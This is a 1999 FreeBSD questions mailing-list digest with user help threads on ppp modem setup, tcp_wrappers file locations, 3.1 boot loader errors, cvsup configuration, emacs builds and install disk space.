Subject: Location of hosts.* files
Message-ID: <19990327195830.D17445@drwho.xnet.com>
Mail-Followup-To: freebsd-questions@FreeBSD.ORG
References: <Pine.BSF.4.05.9903271141550.86541-100000@linda.pomona.edu> <Pine.BSF.4.05.9903271955280.5883-100000@mailhub.psn.ie>
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On Sat, Mar 27, 1999 at 08:00:29PM +0000, Cillian Sharkey wrote:
> Yes, you can use the tcp_wrappers package which you can get from the
> FreeBSD CD's or the ports collection.
> 
> Once it's installed, the hosts.allow and hosts.deny should be in
> /usr/local/etc
> 
> You'll also have to change your /etc/inetd.conf file, an example is given
> in /usr/local/etc/inetd.conf.wrapped.sample showing how to set it up.

Just curious, but are there any plans on moving the locations of these
files to /etc, which just happens to be where they are located on every
other OS I can think of?

-- 
    Michael Maxwell <drwho @ xnet.com>  |  http://www.xnet.com/~drwho/
       "American Justice: oxymoron.  William J. Clinton: moron."
                                                    --M. Maxwell (1999)


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From owner-freebsd-questions  Sat Mar 27 18: 0:57 1999
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Subject: Re: ppp connection 
In-reply-to: Your message of "Fri, 26 Mar 1999 13:55:59 CST."
             <01BE7790.617E0F80.jagte@gateway.net> 
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> Hello, I just purchase FreeBSD 3.1 on cdrom and am having a difficult time 
> connecting to my internet service provider.  I have read the applicable man 
> page and handbook section on setting up the files but no luck.  I currently 
> have the /etc/ppp/ppp.conf file set up as:
> 
> default:
>   set device /dev/cuaa0
>   set speed 115200
>   set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT OK-AT-OK ATE1Q0 
> OK \\ dATDT\\T TIMEOUT 40 CONNECT"
> 
> provider:
>   set phone 3572850
>   set login "ABORT NO\\sCARRIER TIMEOUT 5 ogin:--ogin: JAgte word: (my 
> password)"
>   set timeout 300
>   set ifaddr 10.0.0.1/0  10.0.0.2/0  255.255.255.0  0.0.0.0
>   add default HISADDR
>   enable DNS
> 
> to start I type ppp to get:
> 
> ppp ON skuza>
> 
> then
> ppp ON skuza>dial provider
> ppp ON skuza>WARNING! Chat script failed.
> 
> the ppp.log file for the above looks like:
> 
> Using interface: tun0
> deflink: Created in closed state
> PPP Started (interactive mode)
> bundle: Establish
> deflink: closed -> opening
> deflink: Connected!
> deflink: opening -> dial
> Phone: 3572850
> deflink: dial -> hangup
> deflink: Disconnected!
> deflink: Connect time: 10 secs: 0 octets in, 0 octets out
> 
> 
> I don't ever here the modem dialing.  Also from Windows I get that my U.S. 
> Robotics 56K modem is located on COM2 but when I set the first line in the 
> ppp.conf to "set device /dev/cauu1" ppp says that it doesn't recognize 
> cauu1.  Is ppp even reaching my modem?  Any suggestions on how to get this 
> thing working?

Enable chat logging.  It shouldn't take long to spot the extraneous 
space in your chat script.

WRT the device name, try /dev/cuaa1.

> Thanks, Jeremy Agte

-- 
Brian <brian@Awfulhak.org> <brian@FreeBSD.org> <brian@OpenBSD.org>
      <http://www.Awfulhak.org>
Don't _EVER_ lose your sense of humour !




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From owner-freebsd-questions  Sat Mar 27 18: 4:38 1999
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Date: Sun, 28 Mar 1999 11:34:08 +0930
From: Greg Lehey <grog@lemis.com>
To: David Kelly <dkelly@hiwaay.net>,
	"Daniel C. Sobral" <dcs@newsguy.com>
Cc: questions@FreeBSD.ORG
Subject: Re: TCP/IP problem
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On Friday, 26 March 1999 at 21:39:03 -0600, David Kelly wrote:
> "Daniel C. Sobral" writes:
>> A friend of mine has the following problem: when trying a telnet to
>> a (certain?) remote host, FreeBSD takes almost three minutes, while
>> a NT from the same subnet takes less than thirty. If this problem
>> cannot be solved, there is a great chance of FreeBSD being dumped in
>> this place.
>
> Assume you mean 30 seconds on the NT box, not 30 minutes. Even so, 30
> seconds strikes me as too long to set up a telnet connection over any
> slow link. Guess if you find that problem you'll fix the problem with
> FreeBSD too.

I didn't have time to look at this when it came past the first time.
It smells of DNS to me.

Greg
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From owner-freebsd-questions  Sat Mar 27 18: 7:28 1999
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To: Rick Hamell <hamellr@dsinw.com>
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Well, I got it working. Thanks! Seems it was a hardware problem, but a 
few oddities I hadn't expected (cable slightly loose, fan not cooling 
drive, etc). After I got those all fixed, fbsd installed without a 
problem, and is very happy where NT once cursed. Thanks again!


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From owner-freebsd-questions  Sat Mar 27 18:11:59 1999
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Subject: ppp
Date: Sat, 27 Mar 1999 21:11:00 -0500
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This is a multi-part message in MIME format.

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    Where can I find some specific information about setting up my =
FreeBSD with a modem?  Can't I just point to the FreeBSD ftp server and =
download all the necessary files as I need them? If I can't then I =
believe some of your help files may be misleading.

------=_NextPart_000_0006_01BE7896.50C703C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>&nbsp;&nbsp;&nbsp; Where can I find some specific =
information=20
about setting up my FreeBSD with a modem?&nbsp; Can't I just point to =
the=20
FreeBSD ftp server and download all the necessary files as I need them? =
If I=20
can't then I believe some of your help files may be=20
misleading.</FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Sat Mar 27 18:21:56 1999
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Date: Sun, 28 Mar 1999 11:51:28 +0930
From: Greg Lehey <grog@lemis.com>
To: Faried Nawaz <fn@hungry.org>
Cc: FreeBSD Questions <questions@FreeBSD.org>
Subject: Re: emacs 18.59.
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[following up to -questions]

There's not much that doesn't belong on -chat, but I think that you'll
get better answers to this one on -questions.

On Saturday, 27 March 1999 at 15:04:16 -0800, Faried Nawaz wrote:
>
> Hello,
>
> I maintain some elisp code that has to work all the way back to Emacs
> 18.59.  Does anyone have patches to build Emacs 18.59 on FreeBSD 3.x?

No, but have you tried just building it?  I can probably drag out some
port logs if you run into trouble, but it would be nice to know what
goes wrong first.

Greg
--
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From owner-freebsd-questions  Sat Mar 27 19:17:46 1999
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Date: Sat, 27 Mar 1999 21:16:54 -0600
To: Greg Lehey <grog@lemis.com>
From: "Brian D. Woodruff" <wood@eris.quintessential.com>
Subject: Re: 3.1 UNstable
Cc: freebsd-questions@FreeBSD.ORG
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At 09:48 AM 3/28/99 +0930, you wrote:
>On Saturday, 27 March 1999 at 18:09:27 -0600, Brian Woodruff wrote:
>> My business partner just spent three hours trying to install 3.1 STABLE
>> onto a new system, and always got "bad format" errors (or something
>> similar) when we tried to load the kernel upon boot.
>
>"something similar" isn't similar enough.  We need the exact message,
>along with a lot of other information:

Before I begin, I'd like to thank Greg for writing such a valuable book,
which accompanied my 3.0 CD ROMs. That being said, here are answers to all
his questions:

>- What kind of system is it?

It is a slow Pentium. We find with FreeBSD we always have clock cycles to
spare, so haven't opted for anything fast. Specifically, it is a

Pentium 75
ASUS P/I-P55TP4XE motherboard
BIOS version 05/23/96-82430FX-PI-5XTP4C-00
64 MB RAM
WD 8400RTL HD (8.4 GB IDE)
Adaptec 2940 SCSI controller
Sony CDU-948S CD-R
3COM 3C905 nic
noname video (supports text - good enuf for us - we're never at the console
anyway)

>- How did you install the software?  

booted off of CD-R with Walnut Creek 3.0 CD # 1 in it on some tries, off of
a 2.2.6 and 2.2.8 floppy disk on other tries

>- Was it an upgrade or a new installation?  

new installation. we had tried upgrading V3.0 systems to V3.1 in the past
and had difficulty because only the source was available, and the upgrade
choked trying to copy the bins. it appeared that there was a complete V3.1
directory now, so we decided to install on our new HD. The system in
question is normally only used as a CD-R burner, but we removed its hard
drive to put a new OS on this new drive. We know the box is stable by itself.

>- If it was an upgrade, what were you upgrading from?

N/A

>- Did you install new boot blocks?

yup. "dangerously dedicated" FreeBSD ones, no boot manager, cos we *LIKE*
being dangerously dedicated.

>- Did you build your own kernel?

nope - purely generic. we never got so far as a successful boot to make
mods to the kernel.

>- What was the exact message you got (yes, this is a repeat)

okay, I've taken our successful HD off and put a brand new one on just like
it (we have a pile of these hard drives for a whole slew of new web servers
we are building. BTW, by this point, I had taken the HD which had failed
and mounted it on a win95 machine, fdisked it, formatted it, scandisked it,
and found no bad blocks anywhere.) Here's the whole install process,
written to this email as I performed the steps:

boot off CD-ROM Walnut Creek V3.0
select "options" - change version to "3.1-STABLE"
select "novice"
in "FDISK partition table" - select "A" - answer "no" to "true partion
entry compatability"
we end up with offset = 0; size = 16514064; End = 16514063; Name = wd0s1;
PType = 3; Desc = freebsd; Subtype = 165; Flags = C
in "Disklabel Editor" - select "A"
"/" = 32 M; swap = 137 M; "/var" = 30 M; "/usr" = 7864 M
"Choose Distributions" - 6 Minimal then 0 Exit
"Choose Installation Media" select 2 FTP"distriibution site" - select USA#5
- ftp5.freebsd.org
"network interface required" - ep0 509 card

>- When did you get it?

the error message occurs upon boot after "successful" installation of the
OS. the system gets as far as where it says 

boot:

and pauses before loading the kernel. when it tries to load the kernel, the
error message is

"invalid format!"

and then the same "boot:" message is displayed again, and the same thing
repeats every few seconds. when we typs "?" for a directory, we find the
kernel, kernel.GENERIC and all the other normal stuff, but it won't bloody
well load!

We have performed multiple installations on this machine, which I first
built in December of this year for the express purpose of learning FreeBSD.
I built the machine myself and bought the CD-ROMS and your book to get me
going. I've had no serious difficulty with any of it to date. I have a BSEE
and about 12 years of experience, and am no newbie to troubleshooting. My
partner has been running FreeBSD for years and together we have a rather
successful web based business called Quintessential Communications
(http://www.Quintessential.com, http://FreeQ.com). All of our servers run
FreeBSD. The reason we are writing to this list is not because we're
helpless; in fact, we solved our short term problem by just installing off
the CD-ROM again. We just don't get the most "STABLE" version, but if this
is the way the new one works, I don't feel too bad.

The reason we wrote the list is because the default minimal installation of
the most up-to-date "STABLE" version of FreeBSD doesn't work. At least not
off of ftp5.

We thought you should know :-)

>
>> When we switched to the 3.0 CD-ROM, the system loaded and booted
>> fine.  In every case, we used the "minimum" configuration. My
>> partner and I have both performed dozens of successful installations
>> in the past, both via net and CD. I can only assume that 3.1 STABLE
>> is not suitable for release.
>
>Based on the information, I can only assume that your installation was
>not suitable for use.
>
>> BTW, I cam currently not on this mailing list, so please reply
>> privately, or tell me where I can find a web archive. Thank you.
>
>By convention we reply both to the list and to the submitter (see the
>.sig below).  Please contact me if you don't get this message.
>
>Greg
>--
>When replying to this message, please copy the original recipients.
>For more information, see http://www.lemis.com/questions.html
>See complete headers for address, home page and phone numbers
>finger grog@lemis.com for PGP public key
>
>



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From owner-freebsd-questions  Sat Mar 27 19:19: 6 1999
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Date: Sat, 27 Mar 1999 22:17:17 -0500
From: Laurence Berland <stuyman@confusion.net>
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What version of sendmail does 3.1 come with?? I'm less interested in the
answer and more interested in where the answer to this would be located
on the web page.  can someone point me the right way?

--
Laurence Berland, Stuyvesant HS Debate
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

Windows 98: n.
        useless extension to a minor patch release for
        32-bit extensions and a graphical shell for a
        16-bit patch to an 8-bit operating system
        originally coded for a 4-bit microprocessor,
        written by a 2-bit company that can't stand for
        1 bit of competition.
http://stuy.debate.net
icq #7434346                    aol imer E1101




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From owner-freebsd-questions  Sat Mar 27 19:30: 9 1999
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Date: Sun, 28 Mar 1999 13:29:35 +1000
From: Jim Mock <jim@corp.au.triax.com>
To: Laurence Berland <stuyman@confusion.net>
Cc: questions@FreeBSD.ORG
Subject: Re: Sendmail
Message-ID: <19990328132934.A18733@corp.au.triax.com>
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On Sat, 27 Mar 1999 at 22:17:17 -0500, Laurence Berland wrote:
> What version of sendmail does 3.1 come with?? I'm less interested
> in the answer and more interested in where the answer to this would
> be located on the web page.  can someone point me the right way?
>

http://www.freebsd.org/releases/3.1R/notes.html

-- 
Jim Mock  System Administrator  jim@corp.au.triax.com  ,-._|\  FreeBSD
work:  Triax Internet Services  http://www.triax.com/ /      \ The
personal:  http://www.triax.com/~jim/                 \_,--._/ Power To
The FreeBSD 'zine  http://www.freebsdzine.org/              v  Serve!


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From owner-freebsd-questions  Sat Mar 27 19:39:54 1999
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Date: Sat, 27 Mar 1999 22:39:25 -0500 (EST)
From: Patrick Seal <patseal@hyperhost.net>
To: freebsd-questions@FreeBSD.ORG
Subject: Compiling CVS gnome
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Is it just me, or are the glib and gtk+ configure scripts not working.
For the past 2 weeks or so, I've been tring to install gnome from CVS. I
also tried configuring enlightenment with similar results.

loading cache ./config.cache
./configure: ###: Syntax error: word unexpected (expecting ")") 

here's the except from glib:

loading cache ./config.cache
./configure: 583: Syntax error: word unexpected (expecting ")")


VERSION=$GLIB_VERSION
PACKAGE=glib
	< this is line 583
AM_INIT_AUTOMAKE($PACKAGE, $VERSION, no-define)



------------------------------------ _____________________________________
Patrick Seal                        |"Microsoft isn't evil, they just make
<patseal@hyperhost.net>             |   really crappy operating systems."
Hyperhost - http://www.hyperhost.net| -Linus Torvalds
hosting and Design

http://www.freebsd.org - http://www.linux.org






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From owner-freebsd-questions  Sat Mar 27 19:48:23 1999
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Try http://www.freebsd.org/handbook/handbook17.html

--Original Message Text---
From: Chad C.
Date: Sat, 27 Mar 1999 21:11:00 -0500

    Where can I find some specific information about setting up my
FreeBSD with a modem?  Can't I just point to the FreeBSD ftp server
and download all the necessary files as I need them? If I can't
then I believe some of your help files may be misleading.


-------------------------------------------------------------------
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 PIC          X  10    VALUE "YES! COBOL"
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From owner-freebsd-questions  Sat Mar 27 19:51:38 1999
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From: Faried Nawaz <fn@hungry.org>
To: FreeBSD Questions <questions@FreeBSD.org>
Subject: Re: emacs 18.59.
Reply-To: Faried Nawaz <fn@hungry.org>
References: <19990327150416.362951.FMU5280@siren.hungry.com> <19990328115128.V53452@lemis.com>
Date: 27 Mar 1999 19:51:33 -0800
In-Reply-To: Greg Lehey's message of "Sun, 28 Mar 1999 11:51:28 +0930"
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Greg Lehey <grog@lemis.com> writes:
  
  No, but have you tried just building it?  I can probably drag out some
  port logs if you run into trouble, but it would be nice to know what
  goes wrong first.

Emacs, as you probably know, builds itself from the C source, and creates
an executable named "temacs".  temacs loads some of the lisp source, and
then "undumps" itself to create the proper emacs executable.

There are minor problems getting it to build (have to add a __progname
symbol to emacs' crt0.c, fix the sys_errlist definitions, etc), but the
main problem is getting it to undump correctly.  src/unexec.c in the source
distribution is geared towards a.out executables.  Perhaps the best thing
to try is to grab unexec for FreeBSD from a recent Emacs version.

I've also found some stuff in ftp://alpha.gnu.org/friedman/ that might
help (it's geared towards Linux/ELF).


My main reason for mailing chat was to save myself the trouble of figuring
out how executables are set up internally -- it's an area I'm not familiar
with.  I was hoping someone else had already gone through the trouble of
building it.


faried.


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Date: Sun, 28 Mar 1999 04:54:34 +0200
From: Roelof Osinga <roelof@eboa.com>
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Dan Langille wrote:
> 
> Please have a read of http://www.freebsddiary.com/freebsd/current.htm and
> give me your feedback.  Tell us if you think that's enough for a newbie to
> get cvsup running.

I'm ba-a-ack <g>. Wiped the disk and began anew.

<<I changed the base directory where the status files will be maintained.
Don't forget to create this directory.

        *default base=/usr/local/etc/cvsup>>

You might want to explain that what it does is create a /sup subdir
in which it stores checkout information per release. As well as that
the only reason to change it from /usr to /usr/loc... is, well, ...
what exactly? Surely not tradition coz that would be /usr/sup <g>.

<<I'm behind a firewall, so I used the following command to start my 
update (you need to do this as root).

        cvsup -P - stable-supfile>>

That reminds me. I'm behind a firewall, too! Hm. This time I went the
/etc/make.conf - talk about an undocumented feature! - route. Which of
course does not mention the firewall bit. Ah well. Maybe that is why
it deleted nearly all of my ports collection. Can't imagine this not
being a FAQ, but it isn't.

Also, why nada about the -g -L2 options? They get mentioned all over
the place so why don't you?

But now on to the serious stuff. Having checked both FAQ, Diary & 
Manual I used the following:

/etc/make.conf:
SUP_UPDATE=     yes
SUP=            /usr/local/bin/cvsup
SUPFLAGS=       -g -L 2 -z
SUPFILE=        /usr/share/examples/cvsup/forseti
SUPFILE1=       /usr/share/examples/cvsup/secure-forseti

/usr/share/examples/cvsup/forseti:
*default host=cvsup.uk.FreeBSD.org
*default base=/usr
*default prefix=/usr
*default release=cvs tag=RELENG_3
*default delete use-rel-suffix
*default compress
src-all
ports-all

/usr/share/examples/cvsup/secure-forseti:
*default host=cvsup.internat.FreeBSD.org
*default base=/usr
*default prefix=/usr
*default release=cvs tag=RELENG_3
*default delete use-rel-suffix
*default compress
src-crypto
src-eBones
src-secure

went to /usr/src and gave 'make update' only to see it starting deleting
my bleedin' ports collection! cvs-all and the crypto stuff went fine.
No prolem. But the ports... all wiped clear.

Sample output:

  Delete ports/x11-wm/xfce/pkg/COMMENT
  Delete ports/x11-wm/xfce/pkg/DESCR
  Delete ports/x11-wm/xfce/pkg/PLIST
 Shutting down connection to server
 Finished successfully

So why did the ports-all update fail? I'm currently re-installing the
ports collection, but will have to CVSup again for apache will not
compile. Or rather, since it didn't exactly fail, why did it successfully
wipe my ports collection instead of updating it?

Another question is is it possible to change default hosts in the
midst of an update script? I now got two script files and it would
be nice to combine them. Like, say:

/usr/share/examples/cvsup/forseti:
*default host=cvsup.uk.FreeBSD.org
*default base=/usr
*default prefix=/usr
*default release=cvs tag=RELENG_3
*default delete use-rel-suffix
*default compress
src-all
ports-all
*default host=cvsup.internat.FreeBSD.org
src-crypto
src-eBones
src-secure

It sounds contradictory to 'default' but will it work?

Roelof

PS 3.1-RELEASE GENERIC
PPS ran it again with -P - but with the same result.

-- 
Home is where the (@) http://eboa.com/ is.


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From owner-freebsd-questions  Sat Mar 27 20:21:33 1999
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Date: Sat, 27 Mar 1999 20:21:11 -0800 (PST)
From: "Eric J. Schwertfeger" <ejs@bfd.com>
To: Brian Woodruff <wood@freeq.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: 3.1 UNstable
In-Reply-To: <36FD7335.96FB761D@freeq.com>
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On Sat, 27 Mar 1999, Brian Woodruff wrote:

> My business partner just spent three hours trying to install 3.1 STABLE
> onto a new system, and always got "bad format" errors (or something
> similar) when we tried to load the kernel upon boot.
> 
> When we switched to the 3.0 CD-ROM, the system loaded and booted fine.
> In every case, we used the "minimum" configuration. My partner and I
> have both performed dozens of successful installations in the past, both
> via net and CD. I can only assume that 3.1 STABLE is not suitable for
> release.

I found that 3.1-RELEASE was very sensitive to floppy disk quality.  I
formatted the disks on Win95 with verify on, and threw out any disk with
even a single bad sector, and that got it to work.



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From owner-freebsd-questions  Sat Mar 27 20:29: 3 1999
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Date: Sat, 27 Mar 1999 22:29:31 -0600
From: Ingrid Kast Fuller <ingrid@cityscope.net>
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This person wants to know if....
(I'm just relaying question to group)


can you tell me if freebsd supports the sporster 128k ta?

thanks

never@netropolis.net
-- 
***********************************************************
  Ingrid Kast Fuller              (ingrid@cityscope.net)
CityScope Computer Services          Since 1984
 CityScope Net (http://www.cityscope.net) 1(713)477-6161  
      109 West Southmore, Pasadena, TX 77502-1001  
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From owner-freebsd-questions  Sat Mar 27 20:33:39 1999
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Date: Sat, 27 Mar 1999 22:32:54 -0600
To: "Eric J. Schwertfeger" <ejs@bfd.com>
From: "Brian D. Woodruff" <wood@eris.quintessential.com>
Subject: Re: 3.1 UNstable
Cc: freebsd-questions@FreeBSD.ORG
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At 08:21 PM 3/27/99 -0800, you wrote:
>On Sat, 27 Mar 1999, Brian Woodruff wrote:
>
>> My business partner just spent three hours trying to install 3.1 STABLE
>> onto a new system, and always got "bad format" errors (or something
>> similar) when we tried to load the kernel upon boot.
>> 
>> When we switched to the 3.0 CD-ROM, the system loaded and booted fine.
>> In every case, we used the "minimum" configuration. My partner and I
>> have both performed dozens of successful installations in the past, both
>> via net and CD. I can only assume that 3.1 STABLE is not suitable for
>> release.
>
>I found that 3.1-RELEASE was very sensitive to floppy disk quality.  I
>formatted the disks on Win95 with verify on, and threw out any disk with
>even a single bad sector, and that got it to work.

I didn't install off a floppy - I booted off a CD and installed off
ftp5.freebsd.org

I subsequently installed successfully off of the same CD, so I know that is
not an issue.

Also, yes, since the image files are mapping by cluster, you must have
perfect media in order to get a useful set of install disks, if you have to
install off of floppies. Fortunately, I have bandwidth on my side, and
don't have to go through such pains!

BDW

>
>
>



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From owner-freebsd-questions  Sat Mar 27 20:53:17 1999
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Date: Sat, 27 Mar 1999 22:52:32 -0600 (CST)
From: Jonathan Fosburgh <wotan@dorm-36314.rh.uh.edu>
Reply-To: jef53313@bayou.uh.edu
To: "Brian D. Woodruff" <wood@eris.quintessential.com>
Cc: Greg Lehey <grog@lemis.com>, freebsd-questions@FreeBSD.ORG
Subject: Re: 3.1 UNstable
In-Reply-To: <3.0.6.32.19990327211654.008b91f0@freeq.com>
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[snip]
> booted off of CD-R with Walnut Creek 3.0 CD # 1 in it on some tries, off of
> a 2.2.6 and 2.2.8 floppy disk on other tries
Attempts to install 3.1 and above off of a lower version's install media
is probably a bad idea.  I see what the problem is and will point it out
below.
[snip]
> the error message occurs upon boot after "successful" installation of the
> OS. the system gets as far as where it says 
> 
> boot:
> 
> and pauses before loading the kernel. when it tries to load the kernel, the
> error message is
> 
> "invalid format!"
> 
> and then the same "boot:" message is displayed again, and the same thing
> repeats every few seconds. when we typs "?" for a directory, we find the
> kernel, kernel.GENERIC and all the other normal stuff, but it won't bloody
> well load!
You are getting the error message because the FreeBSD bootstrap that
produces the boot: message like that only works on a.out kernels. The ELF
loader looks markedly different, providing you with an option to hit space
to get to a prompt, hit enter to boot immediately, or leave it alone and
it will boot after 10 seconds.  I guess the problem is that the
installation medium (floppy or cdrom) installs whatever copy of the loader
it has on it and not from the ftp site.  At any rate, 3.0 worked because
it still has a a.out kernel.  Your options as I see them are to upgrade vi
CVS and then a make upgrade, or else to reinstall using the 3.1 CDs or
using the 3.1 install disk.
[rest snipped]

Jonathan Fosburgh
Geotechnician
Snyder Oil Corporation
Houston, TX

Home Page:
http://www.geocities.com/vienna/1498
Manager, FreeBSD Webring: 
http://www.geocities.com/vienna/1498/computer/freebsdring.html
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From owner-freebsd-questions  Sat Mar 27 21:29:20 1999
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Date: Sun, 28 Mar 1999 00:27:42 -0500
From: Quincy Rowe <quincyrowe@csi.com>
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How much HD space is needed to install FreeBSD on my 386SX system
(without the X Window System)?
You web site did not mention this space requirement.
Thank you.
Quincy.





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From owner-freebsd-questions  Sat Mar 27 21:35: 9 1999
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From: "Francisco Reyes" <freyes@inch.com>
To: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>,
	"Quincy Rowe" <quincyrowe@csi.com>
Date: Sun, 28 Mar 1999 00:34:56 -0500
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On Sun, 28 Mar 1999 00:27:42 -0500, Quincy Rowe wrote:

>How much HD space is needed to install FreeBSD on my 386SX system
>(without the X Window System)?

If my memory serves me well you need about 60MB for a "minimun"
installation plus swap space.

Swap space is suggested to be a minimun of twice the amount of memory
installed on the computer.



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